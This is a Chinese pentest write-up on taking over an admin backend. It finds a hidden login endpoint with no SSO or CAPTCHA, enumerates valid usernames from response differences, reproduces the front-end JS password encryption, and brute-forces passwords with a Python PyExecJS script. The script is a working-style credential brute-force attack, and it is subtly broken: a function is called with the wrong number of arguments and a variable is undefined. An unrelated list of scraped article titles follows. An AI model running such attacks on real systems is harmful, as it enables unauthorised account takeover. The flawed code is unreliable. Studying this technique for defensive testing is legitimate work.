0x00 前言

近期安全测试时发现一个系统前台使用了SSO,但是在比较隐蔽API中发现了后台的登录接口,该接口未使用SSO,同时没有图形验证码等校验,通过分析最终爆破进入后台。

0x01 确认攻击途径

通过信息搜集找到后台登录URL,由于URL比较敏感,这里以 admin/login替代,尝试登录发现没有图形验证码等校验

通过BurpSuite抓包发现密码字段被加密了

根据回显不同,可进行口令爆破。

攻击思路:

  1. 通过回显不同获取存在的账号

  2. 分析加密方法

  3. 使用加密算法加密密码字典

  4. 脚本发包爆破

这里也可以使用Selenium一把梭暴力解决,但是不建议,如果实在没折的话再考虑此方法。

0x02 分析加密方法

加密参数为 u_pwd,在html文件中搜索该特殊字符

可以看到加密算法是将 u_pwdu_name拼接之后使用 strEnc函数处理,然后再和一个随机16位字符串拼接。

测试加密算法

复制定位到的 strEnc函数JS代码,以Chrome为例。F12->Sources->Overrides->右键Snippets->粘贴

在新建的 snippet上右键>Run

输入密码测试

OK,加密代码找到了,运行对应的加密JS代码即可获取对应密码的加密字符串。

0x03 攻击测试

这里有多种途径,官方推荐PyV8、Node.js、PhantomJS、Nashorn,之前跟爬虫的大哥学习的时候发现他们好多使用的PyExecJS,所以也用这个试试,有兴趣的可以搜搜对应的优缺点。

安装 Node.js之后 pip installPyExecJS即可

脚本爆破

import requests

import execjs

import json

def gen_encode_pass(user_name, user_password):

with open("/Users/w2n1ck/Desktop/des.js", "r") as f:

data_func = f.read()

ctx = execjs.compile(data_func)

up = ctx.call('strEnc', user_password, user_name)

rand = ctx.call('randomString', 16)

password = str(up) + str(rand)

print('encode: u_password:',password)

return password

_url = "https://admin.baidu.com:443/admin/login"

_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Referer": "https://admin.baidu.cn/admin/login", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "u_token": "", "X-Requested-With": "XMLHttpRequest", "Connection": "close"}

_data = {"u_name": "admin"}

pass_dict = open('/Users/w2n1ck/Desktop/admin_pass.txt', 'r')

for p in pass_dict.readlines():

p = str(p.strip())

print("decode: " + p)

password = gen_encode_pass(p)

burp0_data['u_pwd'] = password

resp = requests.post(_url, headers=_headers, data=_data)

con = json.loads(resp.content)

if 'false' in str(con):

print(con)

pass_dict.close()

通过前期的确定存在的用户名进行社工口令针对性爆破

脚本启动,打卡,下班

第二天上班发现已有存在的账号密码,账号密码登录即可接管系统

参考文章:

https://juejin.im/post/5c8f15bde51d451d1118db99

form标签的action之前 加密_口令爆破之突破前端JS加密相关推荐

  1. hikaridatasource 加密后登陆不上_渗透测试 | 突破前端JS加密限制

    前言 现在前端开发为了提高爬虫的难度及加强安全性,都会在数据包提交前进行加密,最典型的就是传参加密,相信大家在测试的时候都遇到过,那么我们在抓取数据包并修改之后,修改之后的参数无法通过后端程序数据完整 ...

  2. 判断form表单里面的元素属性是否有数据_html form标签的action属性是什么意思?又有哪些用法?(附实例)...

    本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 程序猿的生活:打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固, ...

  3. action请求是什么意思_html form标签的action属性是什么意思?又有哪些用法?(附实例)

    本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...

  4. html标签的action属性,html form标签的action属性是什么意思?又有哪些用法?(附实例)...

    本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...

  5. html form标签的action属性是什么意思?又有哪些用法?(附实例

    本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固,你值得拥有(持 ...

  6. html form标签的action属性是什么意思?又有哪些用法?(附实例)

    本篇文章主要的介绍HTML form表单标签的action属性的用法,用法介绍和实例等都在里面,现在让我们一起来看吧 首先我们先来介绍一下关于HTML form标签的action属性的意思: form ...

  7. form标签的action属性怎么用?form标签action属性的用法介绍(附实例)

    本篇文章主要的介绍了关于HTML中form标签action属性的用法介绍和实例,还有关于form标签的action属性的定义和语法介绍,最后徐还有关于form标签的action属性的作用解释.现在让我 ...

  8. html自动跳转到action,html中form标签的action属性

    html中form标签的action属性 发布时间:2020-05-12 11:48:46 来源:亿速云 阅读:636 作者:Leah 今天小编就为大家带来一篇html中form标签的action属性 ...

  9. form标签的action怎么用

    如有错误欢迎指正 见到一段代码,form标签,action属性为空,action是干嘛的 <form action=""> action属性的作用是:提交表单后,将表单 ...

最新文章

  1. 利用NVIDIA NGC的TensorRT容器优化和加速人工智能推理
  2. 脑网络的可塑性——随时都在发生
  3. [李景山php]每天TP5-20170131|thinkphp5-Request.php-3
  4. 从JVM看类的加载过程与对象实例化过程
  5. 操作系统pv操作学习总结
  6. Python函数及相关知识
  7. python聊天程序程序代码_python聊天程序实例代码分享
  8. VisualStudio2010 SP1 SP1 SDK SQLServer 2008 SP3 下载地址
  9. PyQt5树形结构控件QTreeWidget操作
  10. 程序设计基础(C语言)课程设计报告,C语言程序设计基础课程设计报告.doc
  11. 用js控制网页播放器
  12. Python 进行 Cholesky分解
  13. 安卓wifi连接 UID xxx does not have permission to update configuration “xxx“WPA_PSK
  14. 荣耀pro无线路由器配置成无线交换机
  15. 压测学习总结——高并发性能指标:QPS、TPS、RT、吞吐量详解
  16. Golang的微服务组件之限流器与熔断器
  17. 给米钱包、买买分收取用户15%-20%“砍头息”,泸州银行为资金方
  18. MQTT-SN协议阅读之MQTT-SN vs MQTT
  19. push与push_back
  20. python生成微信好友性别环形图

热门文章

  1. windows操作系统下载tomcat,并与eclipse进行整合
  2. HDU2161 Primes
  3. 对android中ActionBar中setDisplayHomeAsUpEnabled和setHomeButtonEnabled和setDisplayShowHomeEnabled方法的理解...
  4. Flexigid Options
  5. Oracle物化视图的简单使用
  6. JDK1.8 LinkedHashMap源码
  7. Disable IE7 address bar:不显示IE地址栏
  8. mybatis plus 入门
  9. hibernate之初学复合主键
  10. 基础笔记8(二)(容器-引用类型的排序)